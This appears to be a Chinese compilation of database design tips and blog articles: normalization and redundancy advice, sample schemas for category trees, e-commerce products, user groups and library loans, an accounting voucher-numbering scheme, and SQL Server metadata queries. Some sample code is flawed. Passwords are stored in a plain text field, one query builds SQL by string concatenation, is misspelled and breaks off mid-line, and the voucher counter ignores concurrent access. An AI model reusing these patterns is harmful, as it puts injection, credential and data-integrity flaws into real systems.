  〖例3〗:在“图书馆信息系统”中,“图书”是一个实体,“读者”也是一个实体。这两个实体之

间的关系,是一个典型的多对多关系:一本图书在不同时间可以被多个读者借阅,一个读者又可以借多

本图书。为此,要在二者之间增加第三个实体,该实体取名为“借还书”,它的属性为:借还时间、借

还标志(0表示借书,1表示还书),另外,它还应该有两个外键(“图书”的主键,“读者”的主键),使

它能与“图书”和“读者”连接。

   7. 主键PK的取值方法

   PK是供程序员使用的表间连接工具,可以是一无物理意义的数字串, 由程序自动加1来实现。也可

以是有物理意义的字段名或字段名的组合。不过前者比后者好。当PK是字段名的组合时,建议字段的个

数不要太多,多了不但索引占用空间大,而且速度也慢。

   8. 正确认识数据冗余

  主键与外键在多表中的重复出现, 不属于数据冗余,这个概念必须清楚,事实上有许多人还不清楚

。非键字段的重复出现, 才是数据冗余!而且是一种低级冗余,即重复性的冗余。高级冗余不是字段的

重复出现,而是字段的派生出现。
  〖例4〗:商品中的“单价、数量、金额”三个字段,“金额”就是由“单价”乘以“数量”派生出

来的,它就是冗余,而且是一种高级冗余。冗余的目的是为了提高处理速度。只有低级冗余才会增加数

据的不一致性,因为同一数据,可能从不同时间、地点、角色上多次录入。因此,我们提倡高级冗余(派

生性冗余),反对低级冗余(重复性冗余)。

   9. E--R图没有标准答案

  信息系统的E--R图没有标准答案,因为它的设计与画法不是惟一的,只要它覆盖了系统需求的业务

范围和功能内容,就是可行的。反之要修改E--R图。尽管它没有惟一的标准答案,并不意味着可以随意

设计。好的E—R图的标准是:结构清晰、关联简洁、实体个数适中、属性分配合理、没有低级冗余。

   10. 视图技术在数据库设计中很有用

  与基本表、代码表、中间表不同,视图是一种虚表,它依赖数据源的实表而存在。视图是供程序员

使用数据库的一个窗口,是基表数据综合的一种形式, 是数据处理的一种方法,是用户数据保密的一种

手段。为了进行复杂处理、提高运算速度和节省存储空间, 视图的定义深度一般不得超过三层。 若三层

视图仍不够用, 则应在视图上定义临时表, 在临时表上再定义视图。这样反复交迭定义, 视图的深度就

不受限制了。
  对于某些与国家政治、经济、技术、军事和安全利益有关的信息系统,视图的作用更加重要。这些

系统的基本表完成物理设计之后,立即在基本表上建立第一层视图,这层视图的个数和结构,与基本表

的个数和结构是完全相同。并且规定,所有的程序员,一律只准在视图上操作。只有数据库管理员,带

着多个人员共同掌握的“安全钥匙”,才能直接在基本表上操作。请读者想想:这是为什么?

   11. 中间表、报表和临时表

  中间表是存放统计数据的表,它是为数据仓库、输出报表或查询结果而设计的,有时它没有主键与

外键(数据仓库除外)。临时表是程序员个人设计的,存放临时记录,为个人所用。基表和中间表由DBA维

护,临时表由程序员自己用程序自动维护。

   12. 完整性约束表现在三个方面

  域的完整性:用Check来实现约束,在数据库设计工具中,对字段的取值范围进行定义时,有一个Ch

eck按钮,通过它定义字段的值城。
  参照完整性:用PK、FK、表级触发器来实现。
  用户定义完整性:它是一些业务规则,用存储过程和触发器来实现。

   13. 防止数据库设计打补丁的方法是“三少原则”

   (1) 一个数据库中表的个数越少越好。只有表的个数少了,才能说明系统的E--R图少而精,去掉了

重复的多余的实体,形成了对客观世界的高度抽象,进行了系统的数据集成,防止了打补丁式的设计;
   (2) 一个表中组合主键的字段个数越少越好。因为主键的作用,一是建主键索引,二是做为子表的

外键,所以组合主键的字段个数少了,不仅节省了运行时间,而且节省了索引存储空间;
   (3) 一个表中的字段个数越少越好。只有字段的个数少了,才能说明在系统中不存在数据重复,且

很少有数据冗余,更重要的是督促读者学会“列变行”,这样就防止了将子表中的字段拉入到主表中去

,在主表中留下许多空余的字段。所谓“列变行”,就是将主表中的一部分内容拉出去,另外单独建一

个子表。这个方法很简单,有的人就是不习惯、不采纳、不执行。
  数据库设计的实用原则是:在数据冗余和处理速度之间找到合适的平衡点。“三少”是一个整体概

念,综合观点,不能孤立某一个原则。该原则是相对的,不是绝对的。“三多”原则肯定是错误的。试

想:若覆盖系统同样的功能,一百个实体(共一千个属性) 的E--R图,肯定比二百个实体(共二千个属性)

的E--R图,要好得多。
  提倡“三少”原则,是叫读者学会利用数据库设计技术进行系统的数据集成。数据集成的步骤是将

文件系统集成为应用数据库,将应用数据库集成为主题数据库,将主题数据库集成为全局综合数据库。

集成的程度越高,数据共享性就越强,信息孤岛现象就越少,整个企业信息系统的全局E—R图中实体的

个数、主键的个数、属性的个数就会越少。
  提倡“三少”原则的目的,是防止读者利用打补丁技术,不断地对数据库进行增删改,使企业数据

库变成了随意设计数据库表的“垃圾堆”,或数据库表的“大杂院”,最后造成数据库中的基本表、代

码表、中间表、临时表杂乱无章,不计其数,导致企事业单位的信息系统无法维护而瘫痪。
   “三多”原则任何人都可以做到,该原则是“打补丁方法”设计数据库的歪理学说。“三少”原则

是少而精的原则,它要求有较高的数据库设计技巧与艺术,不是任何人都能做到的,因为该原则是杜绝

用“打补丁方法”设计数据库的理论依据。

   14. 提高数据库运行效率的办法

  在给定的系统硬件和系统软件条件下,提高数据库系统的运行效率的办法是:
   (1) 在数据库物理设计时,降低范式,增加冗余, 少用触发器, 多用存储过程。
   (2) 当计算非常复杂、而且记录条数非常巨大时(例如一千万条),复杂计算要先在数据库外面,以

文件系统方式用C++语言计算处理完成之后,最后才入库追加到表中去。这是电信计费系统设计的经验。
   (3) 发现某个表的记录太多,例如超过一千万条,则要对该表进行水平分割。水平分割的做法是,

以该表主键PK的某个值为界线,将该表的记录水平分割为两个表。若发现某个表的字段太多,例如超过

八十个,则垂直分割该表,将原来的一个表分解为两个表。
   (4) 对数据库管理系统DBMS进行系统优化,即优化各种系统参数,如缓冲区个数。
   (5) 在使用面向数据的SQL语言进行程序设计时,尽量采取优化算法。
  总之,要提高数据库的运行效率,必须从数据库系统级优化、数据库设计级优化、程序实现级优化

,这三个层次上同时下功夫。

  上述十四个技巧,是许多人在大量的数据库分析与设计实践中,逐步总结出来的。对于这些经验的

运用,读者不能生帮硬套,死记硬背,而要消化理解,实事求是,灵活掌握。并逐步做到:在应用中发

展,在发展中应用。

说到数据库,我认为不能不先谈数据结构。1996年,在我初入大学学习计算机编程时,当时的老师就告诉我们说:计算机程序=数据结构+算法。尽管现在的程序开发已由面向过程为主逐步过渡到面向对象为主,但我还是深深赞同8年前老师的告诉我们的公式:计算机程序=数据结构+算法。面向对象的程序开发,要做的第一件事就是,先分析整个程序中需处理的数据,从中提取出抽象模板,以这个抽象模板设计类,再在其中逐步添加处理其数据的函数(即算法),最后,再给类中的数据成员和函数划分访问权限,从而实现封装。
  数据库的最初雏形据说源自美国一个奶牛场的记账薄(纸质的,由此可见,数据库并不一定是存储在电脑里的数据^_^),里面记录的是该奶牛场的收支账目,程序员在将其整理、录入到电脑中时从中受到启发。当按照规定好的数据结构所采集到的数据量大到一定程度后,出于程序执行效率的考虑,程序员将其中的检索、更新维护等功能分离出来,做成单独调用的模块,这个模块后来就慢慢发展、演变成现在我们所接触到的数据库管理系统(DBMS)——程序开发中的一个重要分支。

  下面进入正题,首先按我个人所接触过的程序给数据库设计人员的功底分一下类:
  1、没有系统学习过数据结构的程序员。这类程序员的作品往往只是他们的即兴玩具,他们往往习惯只设计有限的几个表,实现某类功能的数据全部塞在一个表中,各表之间几乎毫无关联。网上不少的免费管理软件都是这样的东西,当程序功能有限,数据量不多的时候,其程序运行起来没有什么问题,但是如果用其管理比较重要的数据,风险性非常大。
  2、系统学习过数据结构,但是还没有开发过对程序效率要求比较高的管理软件的程序员。这类人多半刚从学校毕业不久,他们在设计数据库表结构时,严格按照教科书上的规定,死扣E-R图和3NF(别灰心,所有的数据库设计高手都是从这一步开始的)。他们的作品,对于一般的access型轻量级的管理软件,已经够用。但是一旦该系统需要添加新功能,原有的数据库表差不多得进行大换血。
  3、第二类程序员,在经历过数次程序效率的提升,以及功能升级的折腾后,终于升级成为数据库设计的老鸟,第一类程序员眼中的高人。这类程序员可以胜任二十个表以上的中型商业数据管理系统的开发工作。他们知道该在什么样的情况下保留一定的冗余数据来提高程序效率,而且其设计的数据库可拓展性较好,当用户需要添加新功能时,原有数据库表只需做少量修改即可。
  4、在经历过上十个类似数据库管理软件的重复设计后,第三类程序员中坚持下来没有转行,而是希望从中找出“偷懒”窍门的有心人会慢慢觉悟,从而完成量变到质变的转换。他们所设计的数据库表结构有一定的远见,能够预测到未来功能升级所需要的数据,从而预先留下伏笔。这类程序员目前大多晋级成数据挖掘方面的高级软件开发人员。
  5、第三类程序员或第四类程序员,在对现有的各家数据库管理系统的原理和开发都有一定的钻研后,要么在其基础上进行二次开发,要么自行开发一套有自主版权的通用数据库管理系统。

  我个人正处于第三类的末期,所以下面所列出的一些设计技巧只适合第二类和部分第三类数据库设计人员。同时,由于我很少碰到有兴趣在这方面深钻下去的同行,所以文中难免出现错误和遗漏,在此先行声明,欢迎大家指正,不要藏私哦8)

  一、树型关系的数据表
  不少程序员在进行数据库设计的时候都遇到过树型关系的数据,例如常见的类别表,即一个大类,下面有若干个子类,某些子类又有子类这样的情况。当类别不确定,用户希望可以在任意类别下添加新的子类,或者删除某个类别和其下的所有子类,而且预计以后其数量会逐步增长,此时我们就会考虑用一个数据表来保存这些数据。按照教科书上的教导,第二类程序员大概会设计出类似这样的数据表结构:

类别表_1(Type_table_1)
名称     类型    约束条件   说明
type_id   int   无重复   类别标识,主键
type_name   char(50) 不允许为空 类型名称,不允许重复
type_father int 不允许为空 该类别的父类别标识,如果是顶节点的话设定为某个唯一值

  这样的设计短小精悍,完全满足3NF,而且可以满足用户的所有要求。是不是这样就行呢?答案是NO!Why?

  我们来估计一下用户希望如何罗列出这个表的数据的。对用户而言,他当然期望按他所设定的层次关系一次罗列出所有的类别,例如这样:
总类别
  类别1
    类别1.1
      类别1.1.1
    类别1.2
  类别2
    类别2.1
  类别3
    类别3.1
    类别3.2
  ……

  看看为了实现这样的列表显示(树的先序遍历),要对上面的表进行多少次检索?注意,尽管类别1.1.1可能是在类别3.2之后添加的记录,答案仍然是N次。这样的效率对于少量的数据没什么影响,但是日后类型扩充到数十条甚至上百条记录后,单单列一次类型就要检索数十次该表,整个程序的运行效率就不敢恭维了。或许第二类程序员会说,那我再建一个临时数组或临时表,专门保存类型表的先序遍历结果,这样只在第一次运行时检索数十次,再次罗列所有的类型关系时就直接读那个临时数组或临时表就行了。其实,用不着再去分配一块新的内存来保存这些数据,只要对数据表进行一定的扩充,再对添加类型的数量进行一下约束就行了,要完成上面的列表只需一次检索就行了。下面是扩充后的数据表结构:

类别表_2(Type_table_2)
名称     类型    约束条件    说明
type_id   int   无重复   类别标识,主键
type_name   char(50) 不允许为空 类型名称,不允许重复
type_father int 不允许为空 该类别的父类别标识,如果是顶节点的话设定为某个唯一值
type_layer char(6) 限定3层,初始值为000000 类别的先序遍历,主要为减少检索数据库的次数

  按照这样的表结构,我们来看看上面例子记录在表中的数据是怎样的:

type_id type_name type_father type_layer
1 总类别 0 000000
2 类别1 1 010000
3 类别1.1 2 010100
4 类别1.2 2 010200
5 类别2 1 020000
6 类别2.1 5 020100
7 类别3 1 030000
8 类别3.1 7 030100
9 类别3.2 7 030200
10 类别1.1.1 3 010101
……

  现在按type_layer的大小来检索一下:SELECT * FROM Type_table_2 ORDER BY type_layer

列出记录集如下:

type_id type_name type_father type_layer
1 总类别 0 000000
2 类别1 1 010000
3 类别1.1 2 010100
10 类别1.1.1 3 010101
4 类别1.2 2 010200
5 类别2 1 020000
6 类别2.1 5 020100
7 类别3 1 030000
8 类别3.1 7 030100
9 类别3.2 7 030200
……

  现在列出的记录顺序正好是先序遍历的结果。在控制显示类别的层次时,只要对type_layer字段中的数值进行判断,每2位一组,如大于0则向右移2个空格。当然,我这个例子中设定的限制条件是最多3层,每层最多可设99个子类别,只要按用户的需求情况修改一下type_layer的长度和位数,即可更改限制层数和子类别数。其实,上面的设计不单单只在类别表中用到,网上某些可按树型列表显示的论坛程序大多采用类似的设计。

  或许有人认为,Type_table_2中的type_father字段是冗余数据,可以除去。如果这样,在插入、删除某个类别的时候,就得对 type_layer 的内容进行比较繁琐的判定,所以我并没有消去type_father字段,这也正符合数据库设计中适当保留冗余数据的来降低程序复杂度的原则,后面我会举一个故意增加数据冗余的案例。

  
  二、商品信息表的设计
  假设你是一家百货公司电脑部的开发人员,某天老板要求你为公司开发一套网上电子商务平台,该百货公司有数千种商品出售,不过目前仅打算先在网上销售数十种方便运输的商品,当然,以后可能会陆续在该电子商务平台上增加新的商品出售。现在开始进行该平台数据库的商品信息表的设计。每种出售的商品都会有相同的属性,如商品编号,商品名称,商品所属类别,相关信息,供货厂商,内含件数,库存,进货价,销售价,优惠价。你很快就设计出4个表:商品类型表 (Wares_type),供货厂商表(Wares_provider),商品信息表(Wares_info):

商品类型表(Wares_type)
名称     类型    约束条件    说明
type_id   int   无重复   类别标识,主键
type_name   char(50) 不允许为空 类型名称,不允许重复
type_father int 不允许为空 该类别的父类别标识,如果是顶节点的话设定为某个唯一值
type_layer char(6) 限定3层,初始值为000000 类别的先序遍历,主要为减少检索数据库的次数

供货厂商表(Wares_provider)
名称     类型    约束条件    说明
provider_id int   无重复   供货商标识,主键
provider_name char(100) 不允许为空 供货商名称

商品信息表(Wares_info)
名称     类型    约束条件    说明
wares_id int   无重复   商品标识,主键
wares_name char(100) 不允许为空 商品名称
wares_type   int 不允许为空           商品类型标识,和Wares_type.type_id关联
wares_info char(200) 允许为空 相关信息
provider int 不允许为空 供货厂商标识,和Wares_provider.provider_id关联
setnum int 初始值为1 内含件数,默认为1
stock int 初始值为0 库存,默认为0
buy_price money 不允许为空 进货价
sell_price money 不允许为空 销售价
discount money 不允许为空 优惠价

  你拿着这3个表给老板检查,老板希望能够再添加一个商品图片的字段,不过只有一部分商品有图片。OK,你在商品信息表(Wares_info)中增加了一个haspic的BOOL型字段,然后再建了一个新表——商品图片表(Wares_pic):

商品图片表(Wares_pic)
名称     类型    约束条件    说明
pic_id int   无重复   商品图片标识,主键
wares_id int 不允许为空 所属商品标识,和Wares_info.wares_id关联
pic_address  char(200) 不允许为空           图片存放路径

  程序开发完成后,完全满足老板目前的要求,于是正式启用。一段时间后,老板打算在这套平台上推出新的商品销售,其中,某类商品全部都需添加“长度”的属性。第一轮折腾来了……当然,你按照添加商品图片表的老方法,在商品信息表(Wares_info)中增加了一个haslength的BOOL型字段,又建了一个新表——商品长度表(Wares_length):

商品长度表(Wares_length)
名称     类型    约束条件    说明
length_id int   无重复   商品图片标识,主键
wares_id int 不允许为空 所属商品标识,和Wares_info.wares_id关联
length  char(20) 不允许为空           商品长度说明

  刚刚改完没多久,老板又打算上一批新的商品,这次某类商品全部需要添加“宽度”的属性。你咬了咬牙,又照方抓药,添加了商品宽度表 (Wares_width)。又过了一段时间,老板新上的商品中有一些需要添加“高度”的属性,你是不是开始觉得你所设计的数据库按照这种方式增长下去,很快就能变成一个迷宫呢?那么,有没有什么办法遏制这种不可预见性,但却类似重复的数据库膨胀呢?我在阅读《敏捷软件开发:原则、模式与实践》中发现作者举过类似的例子:7.3 “Copy”程序。其中,我非常赞同敏捷软件开发这个观点:在最初几乎不进行预先设计,但是一旦需求发生变化,此时作为一名追求卓越的程序员,应该从头审查整个架构设计,在此次修改中设计出能够满足日后类似修改的系统架构。下面是我在需要添加“长度”的属性时所提供的修改方案:

  去掉商品信息表(Wares_info)中的haspic字段,添加商品额外属性表(Wares_ex_property)和商品额外信息表(Wares_ex_info)2个表来完成添加新属性的功能。

商品额外属性表(Wares_ex_property)
名称     类型    约束条件    说明
ex_pid int   无重复   商品额外属性标识,主键
p_name char(20) 不允许为空 额外属性名称

商品额外信息表(Wares_ex_info)
名称     类型    约束条件    说明
ex_iid int   无重复   商品额外信息标识,主键
wares_id int 不允许为空 所属商品标识,和Wares_info.wares_id关联
property_id  int 不允许为空           商品额外属性标识,和Wares_ex_property.ex_pid关联
property_value char(200) 不允许为空 商品额外属性值

  在商品额外属性表(Wares_ex_property)中添加2条记录:
ex_pid p_name
1 商品图片
2 商品长度

  再在整个电子商务平台的后台管理功能中追加一项商品额外属性管理的功能,以后添加新的商品时出现新的属性,只需利用该功能往商品额外属性表 (Wares_ex_property)中添加一条记录即可。不要害怕变化,被第一颗子弹击中并不是坏事,坏的是被相同轨道飞来的第二颗、第三颗子弹击中。第一颗子弹来得越早,所受的伤越重,之后的抵抗力也越强8)


  三、多用户及其权限管理的设计
  开发数据库管理类的软件,不可能不考虑多用户和用户权限设置的问题。尽管目前市面上的大、中型的后台数据库系统软件都提供了多用户,以及细至某个数据库内某张表的权限设置的功能,我个人建议:一套成熟的数据库管理软件,还是应该自行设计用户管理这块功能,原因有二:
  1.那些大、中型后台数据库系统软件所提供的多用户及其权限设置都是针对数据库的共有属性,并不一定能完全满足某些特例的需求;
  2.不要过多的依赖后台数据库系统软件的某些特殊功能,多种大、中型后台数据库系统软件之间并不完全兼容。否则一旦日后需要转换数据库平台或后台数据库系统软件版本升级,之前的架构设计很可能无法重用。

  下面看看如何自行设计一套比较灵活的多用户管理模块,即该数据库管理软件的系统管理员可以自行添加新用户,修改已有用户的权限,删除已有用户。首先,分析用户需求,列出该数据库管理软件所有需要实现的功能;然后,根据一定的联系对这些功能进行分类,即把某类用户需使用的功能归为一类;最后开始建表:
  
功能表(Function_table)
名称  类型  约束条件   说明
f_id int   无重复   功能标识,主键
f_name char(20) 不允许为空 功能名称,不允许重复
f_desc char(50) 允许为空 功能描述

用户组表(User_group)
名称   类型  约束条件   说明
group_id int 无重复 用户组标识,主键
group_name char(20) 不允许为空 用户组名称
group_power char(100) 允许为空 用户组权限表,内容为功能表f_id的集合

用户表(User_table)
名称    类型    约束条件   说明
user_id int 无重复 用户标识,主键
user_name char(20) 无重复 用户名
user_pwd char(20) 不允许为空 用户密码
user_type int 不允许为空 所属用户组标识,和User_group.group_id关联

  采用这种用户组的架构设计,当需要添加新用户时,只需指定新用户所属的用户组;当以后系统需要添加新功能或对旧有功能权限进行修改时,只用操作功能表和用户组表的记录,原有用户的功能即可相应随之变化。当然,这种架构设计把数据库管理软件的功能判定移到了前台,使得前台开发相对复杂一些。但是,当用户数较大(10人以上),或日后软件升级的概率较大时,这个代价是值得的。


  四、简洁的批量m:n设计
  碰到m:n的关系,一般都是建立3个表,m一个,n一个,m:n一个。但是,m:n有时会遇到批量处理的情况,例如到图书馆借书,一般都是允许用户同时借阅n本书,如果要求按批查询借阅记录,即列出某个用户某次借阅的所有书籍,该如何设计呢?让我们建好必须的3个表先:

书籍表(Book_table)
名称   类型    约束条件   说明
book_id int 无重复 书籍标识,主键
book_no char(20) 无重复 书籍编号
book_name char(100) 不允许为空 书籍名称
……

借阅用户表(Renter_table)
名称    类型    约束条件   说明
renter_id int 无重复 用户标识,主键
renter_name char(20) 不允许为空 用户姓名
……

借阅记录表(Rent_log)
名称   类型    约束条件   说明
rent_id int 无重复 借阅记录标识,主键
r_id int 不允许为空 用户标识,和Renter_table.renter_id关联
b_id int 不允许为空 书籍标识,和Book_table.book_id关联
rent_date datetime 不允许为空 借阅时间
……

  为了实现按批查询借阅记录,我们可以再建一个表来保存批量借阅的信息,例如:

批量借阅表(Batch_rent)
名称   类型   约束条件   说明
batch_id int 无重复 批量借阅标识,主键
batch_no int 不允许为空 批量借阅编号,同一批借阅的batch_no相同
rent_id int 不允许为空 借阅记录标识,和Rent_log.rent_id关联
batch_date datetime 不允许为空 批量借阅时间

  这样的设计好吗?我们来看看为了列出某个用户某次借阅的所有书籍,需要如何查询?首先检索批量借阅表(Batch_rent),把符合条件的的所有记录的rent_id字段的数据保存起来,再用这些数据作为查询条件带入到借阅记录表(Rent_log)中去查询。那么,有没有什么办法改进呢?下面给出一种简洁的批量设计方案,不需添加新表,只需修改一下借阅记录表(Rent_log)即可。修改后的记录表(Rent_log)如下:

借阅记录表(Rent_log)
名称   类型   约束条件   说明
rent_id int 无重复 借阅记录标识,主键
r_id int 不允许为空 用户标识,和Renter_table.renter_id关联
b_id int 不允许为空 书籍标识,和Book_table.book_id关联
batch_no int 不允许为空 批量借阅编号,同一批借阅的batch_no相同
rent_date datetime 不允许为空 借阅时间
……

  其中,同一次借阅的batch_no和该批第一条入库的rent_id相同。举例:假设当前最大rent_id是64,接着某用户一次借阅了3 本书,则批量插入的3条借阅记录的batch_no都是65。之后另外一个用户租了一套碟,再插入出租记录的rent_id是68。采用这种设计,查询批量借阅的信息时,只需使用一条标准T_SQL的嵌套查询即可。当然,这种设计不符合3NF,但是和上面标准的3NF设计比起来,哪一种更好呢?答案就不用我说了吧。


  五、冗余数据的取舍
  上篇的“树型关系的数据表”中保留了一个冗余字段,这里的例子更进一步——添加了一个冗余表。先看看例子:我原先所在的公司为了解决员工的工作餐,和附近的一家小餐馆联系,每天吃饭记账,费用按人数平摊,月底由公司现金结算,每个人每个月的工作餐费从工资中扣除。当然,每天吃饭的人员和人数都不是固定的,而且,由于每顿工作餐的所点的菜色不同,每顿的花费也不相同。例如,星期一中餐5人花费40元,晚餐2人花费20,星期二中餐6人花费36元,晚餐3 人花费18元。为了方便计算每个人每个月的工作餐费,我写了一个简陋的就餐记账管理程序,数据库里有3个表:

员工表(Clerk_table)
名称    类型    约束条件   说明
clerk_id int 无重复 员工标识,主键
clerk_name char(10) 不允许为空 员工姓名

每餐总表(Eatdata1)
名称    类型    约束条件   说明
totle_id int 无重复 每餐总表标识,主键
persons char(100) 不允许为空 就餐员工的员工标识集合
eat_date datetime 不允许为空 就餐日期
eat_type char(1) 不允许为空 就餐类型,用来区分中、晚餐
totle_price money 不允许为空 每餐总花费
persons_num int 不允许为空 就餐人数

就餐计费细表(Eatdata2)
名称  类型  约束条件   说明
id int 无重复 就餐计费细表标识,主键
t_id int 不允许为空 每餐总表标识,和Eatdata1.totle_id关联
c_id int 不允许为空 员工标识标识,和Clerk_table.clerk_id关联
price money 不允许为空 每人每餐花费

  其中,就餐计费细表(Eatdata2)的记录就是把每餐总表(Eatdata1)的一条记录按就餐员工平摊拆开,是个不折不扣的冗余表。当然,也可以把每餐总表(Eatdata1)的部分字段合并到就餐计费细表(Eatdata2)中,这样每餐总表(Eatdata1)就成了冗余表,不过这样所设计出来的就餐计费细表重复数据更多,相比来说还是上面的方案好些。但是,就是就餐计费细表(Eatdata2)这个冗余表,在做每月每人餐费统计的时候,大大简化了编程的复杂度,只用类似这么一条查询语句即可统计出每人每月的寄餐次数和餐费总帐:

SELECT clerk_name AS personname,COUNT(c_id) as eattimes,SUM(price) AS ptprice FROM Eatdata2 JOIN Clerk_tabsle ON (c_id=clerk_id) JOIN eatdata1 ON (totleid=tid) WHERE eat_date>=CONVERT(datetime,'"&the_date&"') AND eat_date

  想象一下,如果不用这个冗余表,每次统计每人每月的餐费总帐时会多麻烦,程序效率也够呛。那么,到底什么时候可以增加一定的冗余数据呢?我认为有2个原则:

  1、用户的整体需求。当用户更多的关注于,对数据库的规范记录按一定的算法进行处理后,再列出的数据。如果该算法可以直接利用后台数据库系统的内嵌函数来完成,此时可以适当的增加冗余字段,甚至冗余表来保存这些经过算法处理后的数据。要知道,对于大批量数据的查询,修改或删除,后台数据库系统的效率远远高于我们自己编写的代码。
  2、简化开发的复杂度。现代软件开发,实现同样的功能,方法有很多。尽管不必要求程序员精通绝大部分的开发工具和平台,但是还是需要了解哪种方法搭配哪种开发工具的程序更简洁,效率更高一些。冗余数据的本质就是用空间换时间,尤其是目前硬件的发展远远高于软件,所以适当的冗余是可以接受的。不过我还是在最后再强调一下:不要过多的依赖平台和开发工具的特性来简化开发,这个度要是没把握好的话,后期维护升级会栽大跟头的。
sysaltfiles             主数据库 保存数据库的文件
syscharsets         主数据库 字符集与排序顺序
sysconfigures      主数据库 配置选项
syscurconfigs      主数据库 当前配置选项
sysdatabases     主数据库 服务器中的数据库
syslanguages     主数据库 语言
syslogins             主数据库 登陆帐号信息
sysoledbusers    主数据库 链接服务器登陆信息
sysprocesses     主数据库 进程
sysremotelogins主数据库 远程登录帐号
syscolumns        每个数据库 列
sysconstrains     每个数据库 限制
sysfilegroups      每个数据库 文件组
sysfiles                每个数据库 文件
sysforeignkeys   每个数据库 外部关键字
sysindexs             每个数据库 索引
sysmenbers        每个数据库 角色成员
sysobjects           每个数据库 所有数据库对象
syspermissions 每个数据库 权限
systypes               每个数据库 用户定义数据类型
sysusers              每个数据库 用户

对会计软件中凭证输入模块的一点看法

 

                                                      武汉华中师大信管系   谢刚

摘要:

 

凭证的制作和处理是会计工作中最为重要的一环,特别是对会计电算化来说,就显得更重要了,应用软件来实现传统的会计过程,凭证是其他一切处理的基础。没有了凭证就没有会计软件后面的一切。而就凭证这块来说,最为基础也最为重要的当属凭证的输入。而凭证的输入的第一步就是确定此凭证的凭证编号,在会计软件中应该尽量的避免由人工来获取凭证编号,可实施的软件都应该由程序来自动获得凭证编号,因为前面说过,凭证编号不容错误。本文就凭证编号的获取过程进行以下讨论。使用开发工具:PowerBuilder8.0 + MS SQL-Server2000


 


关键字:

 

会计软件 凭证输入 凭证编号 PowerBuilder8.0

 SQL-Server2000

 


 

正文:

 

 

 

    一.传统方法的探讨:

通过对目前国内会计软件中凭证输入模块的调查分析,发现大部分软件的凭证输入模块在凭证编号获取上面使用的方法基本一致。使用方法如下:

在一张新的凭证输入之前,必须先确定这张凭证的凭证编号。一般做法为:由程序检查PPK(日库)记录。如果发现里面有记录,就取其最后一记录的凭证编号,再加上1就为正准备输入的这张凭证的编号;如果PPK库里面没有记录(说明正准备输入的这张凭证为本工作日的第一张凭证),就必须得访问pok&rq(当月月库)记录,如果发现里面有记录,同理取其最后一记录的凭证编号,再加上1就为正准备输入的这张凭证的凭证编号;如果POK库里面没有记录,就说明此天为月初的第一个工作日(但是这种情况一年一共就仅12次)。


 


二.亲自设计过程中的经验:

我在亲自设计凭证输入程序的时候(用PowerBuilder + MS SQL-Server2000设计),发现上述方法用语言实现起来具有以下不足:

第一:是在代码设计和维护的时候不方便,

第二:更为重要的是在凭证编号的连续性方便不好,比如:从工资模块转过来的工资凭证就不得不用一个新的凭证机制来存放这些凭证,

第三:还有就是浪费了很多系统资源,比如每次添加凭证的时候都要移动大量的数据库记录,特别是在月初的第一个工作日,在月末也面临同样的问题(月到月末,表中的记录月多,移动的次数就月多)。

所以,我在实际设计的过程中,摸索出了一种新的思路来解决这个问题,可以很好解决上述三个问题,觉得这个思路有必要拿出来和大家共同商讨,具体实现思路如下:

第一:另外新建一个数据表(表名为HQPZBH):

字段名称分别为:ID,PZBH,字段属性分别为:integer,char型。建立好后进行附一组值(最好用程序来附值)。ID字段附值为1,PZBH字段为0000(根据具体的要求进行选择位数,如000000等)。

用程序实现代码如下(仅为参考,根据具体的编程语言变换形式):

(连接数据库语句省略,以下同)

insert into HQPZBH(hqpzbh.id,hqpzbh.pzbh)

values(1,0000) ;

第二:每次在输入新的凭证之前获取该凭证编号的思路:

数据表HQPZBH里面始终只有一条记录,ID始终为1,PZBH是始终为库里面的最后一张凭证的编号。每次进行输入凭证获取凭证编号的时候就访问此数据表,读取表中PZBH字段的值,再加1就OK了。

用程序实现的代码如下(参考):

integer  nowpzbh;(定义存储准备输入的这张凭证的凭证编号的变量)

//在表hqpzbh中获取pzbh字段的值,并放于nowpzbh变量中

 

select  hqpzbh.pzbh

into  :nowpzbh

from  hqpzbh

where  hqpzbh.id=1;      

//注意:本表中始终只有一条记录

nowpzbh = nowpzbh+1

//此值自加1后就成为了即将输入的凭证的凭证编号了

第三:保证数据表HQPZBH里面的PZBH字段的值始终是最后一张凭证的编号。

那么就要求我们在每张凭证输入完毕并经过检验保存的同时,用此凭证编号来替代数据表HQPZBH里面的原有的PZBH字段的值。

用程序实现的代码如下(参考):

假设存储刚保存的那张凭证的凭证编号的变量为nowpzbh

update hqpzbh

set hqpzbh.pzbh=:nowpzbh

where hqpzbh.id=1;

//表中只有一条记录。并且其id字段的值始终都为1


 


三、总结

我认为这个方法比较好理解和实现,设计和维护代码也比较方便。同时对于那些特殊凭证的处理也极为方便,比如:工资凭证的自动转入凭证库时就不必要再使用传统软件的那种“特定区段的凭证编号”方式了。就可以实现凭证库中凭证编号的真正意义上的连续了。还有就是对数据库中数据量相当大时,这种方式相当占优势,因为它每输入一张凭证只需要访问二次数据库的数据表,更为重要的是这个数据表只有一条数据,访问时不需要任何的移动时间。避免了传统方式的凭证编号的寻找(特别是月初的第一个工作日和月尾的数据大量移动)。大大节约了访问数据库的时间开销和空间开销。

收藏几段SQL Server语句和存储过程
-- ======================================================


--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息


--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中


-- ======================================================


SELECT

       (case when a.colorder=1 then d.name else '' end)表名,

       a.colorder 字段序号,

       a.name 字段名,

       (case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识,

       (case when (SELECT count(*)

       FROM sysobjects

       WHERE (name in

                 (SELECT name

                FROM sysindexes

                WHERE (id = a.id) AND (indid in

                          (SELECT indid

                         FROM sysindexkeys

                         WHERE (id = a.id) AND (colid in

                                   (SELECT colid

                                  FROM syscolumns

                                  WHERE (id = a.id) AND (name = a.name))))))) AND

              (xtype = 'PK'))>0 then '√' else '' end) 主键,

       b.name 类型,

       a.length 占用字节数,

       COLUMNPROPERTY(a.id,a.name,'PRECISION') as 长度,

       isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as 小数位数,

       (case when a.isnullable=1 then '√'else '' end) 允许空,

       isnull(e.text,'') 默认值,

       isnull(g.[value],'') AS 字段说明   


 


FROM  syscolumns  a left join systypes b

on  a.xtype=b.xusertype

inner join sysobjects d

on a.id=d.id  and  d.xtype='U' and  d.name<>'dtproperties'

left join syscomments e

on a.cdefault=e.id

left join sysproperties g

on a.id=g.id AND a.colid = g.smallid 

order by a.id,a.colorder

-------------------------------------------------------------------------------------------------

 

 

 

 

 


 


